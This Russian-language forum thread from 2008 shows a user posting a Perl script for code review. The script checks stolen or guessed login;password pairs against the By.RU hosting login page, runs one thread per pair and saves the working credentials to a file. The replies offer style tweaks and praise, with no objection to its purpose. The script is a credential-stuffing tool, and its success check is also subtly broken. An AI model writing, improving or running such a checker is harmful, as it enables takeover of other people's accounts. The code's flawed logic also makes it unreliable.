зацените скрипт на perl :)

Discussion in 'Болталка' started by $p01nt, 29 May 2008.

  1. $p01nt

    $p01nt Elder - Старейшина

    Joined:
    19 Feb 2008
    Messages:
    116
    Likes Received:
    20
    Reputations:
    1
    Прошу оценить мой скрипт ... Скажите где и что можно подправить,где и что я не правильно сделал ... (скрипт рабочий, просто интересно насколько "красиво" я смог написать чекер акков:) )

    ##### Checker Account on By.RU coded by $p01nt;
    #! usr/bin/perl

    use strict;
    use LWP;
    use Thread;

    ### подпрограмма которая проверяет аккаунт на валидность

    sub check {
    open(VALIDE,">>valide.txt");
    my ($login,$pass)=@_;
    my $url='http://by.ru/login.cgi';
    my $browser=LWP::UserAgent->new;
    my $response=$browser->post($url,
    [ 'login'=>$login,
    'password'=>$pass,
    'p2'=>'',
    ]
    );

    $response=$response->as_string;
    my $tt=$response=~m/Location:(.*)\.cgi/;
    my $checktext='http://by.ru/panel';
    if ($tt!=$checktext){

    print VALIDE $login,';',$pass;

    }else{

    }
    close(VALIDE)
    }

    ###получаем акки из текстового документа и проверяем их

    open(ACC,"login");
    my @accounts=<ACC>;
    foreach(@accounts){
    (my $login, my $pass) = split(';',$_);
    $pass =~ s/ |\n//;
    my $thread = Thread->new(\&check,$login,$pass, 5);
    $_->join foreach($thread);
    }

    ЗЫ. не знал куда постить - поэтому он тут :)
     
  2. Амелька

    Амелька New Member

    Joined:
    22 May 2008
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    ооо...изумительный скрипт!...ты просто моСк=)
     
  3. flabb

    flabb New Member

    Joined:
    28 Mar 2008
    Messages:
    7
    Likes Received:
    2
    Reputations:
    0
    open(ACC,"login");
    желательно после открытия када-нить закрыть всё-таки файл ))
    print VALIDE $login,';',$pass; смутило чуть....не проще: print VALIDE "$login;$pass\n";
     
  4. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    :D